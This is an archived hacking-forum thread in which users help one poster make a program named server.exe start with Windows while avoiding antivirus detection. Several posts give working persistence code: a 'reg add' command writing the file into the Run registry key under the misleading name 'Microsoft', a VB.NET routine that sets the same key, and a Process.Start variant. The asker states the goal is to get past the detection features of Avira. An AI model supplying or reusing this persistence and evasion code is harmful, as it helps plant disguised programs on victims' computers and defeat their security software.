Hack Forums
[.NET] How can i run a .bat from resources without dropping? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] How can i run a .bat from resources without dropping? (/showthread.php?tid=4649703)



How can i run a .bat from resources without dropping? - legacyxo - Jan 22, 2015

Avira is detecting my streamwriter code so im wondering how i can run a .bat without dropping it.


* - Alison Wonderland - Jan 22, 2015

depends on length of the batch file I guess
you could always do a single line shell execute


* - legacyxo - Jan 22, 2015

im trying to do this

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d %temp%\server.exe


* - nathan72389 - Jan 22, 2015

(Jan 22, 2015 03:57 PM)legacyxo Wrote:  im trying to do this

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d %temp%\server.exe

lol, there is no point in making a .bat file. everything you need can be done in vb.net


* - Alison Wonderland - Jan 22, 2015

(Jan 22, 2015 03:57 PM)legacyxo Wrote:  im trying to do this

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d %temp%\server.exe

why......
why not just add using vb code...


* - legacyxo - Jan 22, 2015

lmao still detects my shit even if i use shell. i even encrypted the code.


* - SIM-1984933 - Jan 22, 2015

(Jan 22, 2015 03:53 PM)legacyxo Wrote:  Avira is detecting my streamwriter code so im wondering how i can run a .bat without dropping it.

what???? don't use that use System.IO.WriteAllBytes


* - NETExplorer - Jan 22, 2015

(Jan 22, 2015 06:18 PM)| Hex | Wrote:  what???? don't use that use System.IO.WriteAllBytes

what???? what is that?
please explain 😭


* - t0fx - Jan 22, 2015

Code
Public Sub BatchSucksUseVB(ByVal ServerName As String, ByVal ServerPath As String)
      Dim reg As RegistryKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
      With reg
      .OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
      .SetValue(ServerName, ServerPath)
      End With
    End Sub

Code
Try

      BatchSucksUseVB("name", "path")
      Catch ex As Exception
      'already installed
      End Try



* - legacyxo - Jan 22, 2015

(Jan 22, 2015 08:41 PM)t0fx Wrote:  
Code
Public Sub BatchSucksUseVB(ByVal ServerName As String, ByVal ServerPath As String)
      Dim reg As RegistryKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
      With reg
      .OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
      .SetValue(ServerName, ServerPath)
      End With
    End Sub

Code
Try

      BatchSucksUseVB("name", "path")
      Catch ex As Exception
      'already installed
      End Try
That will trigger proactives my method bypasses proactives. Thanks though


* - Minimal. - Jan 23, 2015

(Jan 22, 2015 08:41 PM)t0fx Wrote:  'already installed

Not necessarily, there can be tons of other issues throwing an exception.


* - t0fx - Jan 23, 2015

(Jan 22, 2015 10:49 PM)legacyxo Wrote:  That will trigger proactives my method bypasses proactives. Thanks though

Code
Process.Start("CMD", "/C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d %temp%\server.exe")